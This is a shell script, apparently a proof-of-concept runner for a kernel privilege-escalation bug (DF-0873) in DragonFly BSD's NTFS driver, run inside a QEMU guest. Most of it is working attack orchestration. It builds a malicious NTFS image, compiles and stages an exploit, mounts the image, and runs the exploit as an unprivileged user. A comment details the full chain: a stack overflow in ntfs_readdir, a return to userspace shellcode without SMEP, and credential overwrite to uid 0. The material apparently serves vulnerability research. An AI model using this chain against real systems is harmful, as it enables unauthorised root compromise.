#!/bin/sh
# DF-0873 run -- end-to-end uid0 escalation.
#
# Host-side: build the escalation NTFS image, copy image+exploit into the
# guest, then (as root) mount the image with -u/-g mapped to the unprivileged
# user, and (as that user) run the exploit which mmaps shellcode at a fixed
# address and getdents the mountpoint -> ntfs_readdir convname stack smash ->
# ret to userspace shellcode (no SMEP) -> cr_uid=0 -> iretq to win() -> uid=0.
#
# Usage: ./run.sh   (needs the DragonFly guest up via dfbsd-qemu/vm.sh)
VM="${VM:-./dfbsd-qemu/vm.sh}"
SCP="scp -F dfbsd-qemu/config"

set -e
cd "$(dirname "$0")"

echo "[run] host: craft escalation NTFS image (ret -> 0x1337000)"
python3 craft_img.py ntfs_escalate.img 0x80 0x1337000

echo "[run] host: also craft the all-wide panic-repro image"
python3 craft_img.py ntfs_evil.img 0x80

echo "[run] guest: stage image + exploit"
$VM run_user 'mkdir -p poc/DF-0873'
$SCP -q exploit.c dfbsd-maxx:poc/DF-0873/
$VM run_user 'cd poc/DF-0873 && cc -no-pie -O2 -o exploit exploit.c'
$SCP -q ntfs_escalate.img dfbsd:/root/ntfs_escalate.img

echo "[run] guest: mount (root) + exploit (maxx) -> uid0"
$VM run_root 'kldload ntfs 2>/dev/null || true; mkdir -p /mnt/evil; umount /mnt/evil 2>/dev/null || true; for d in vn0 vn1 vn2; do vnconfig -u $d 2>/dev/null || true; done; vnconfig -c vn0 /root/ntfs_escalate.img && mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt/evil && echo MOUNTED; rm -f /tmp/DF0873_ROOT; echo "uid before: $(su -m maxx -c "/bin/sh -c \"id -u\""); su -m maxx -c "/bin/sh -c \"cd /home/maxx/poc/DF-0873 && ./exploit /mnt/evil; echo EXPLOIT_RC=\$?\""; echo "root marker:"; ls -l /tmp/DF0873_ROOT 2>&1; cat /tmp/DF0873_ROOT 2>&1'

echo "[run] deterministic harness (shows the overflow reaching ret @ convname[312])"
./harness 2>&1 | tail -25 || true
echo "RUN_DONE"
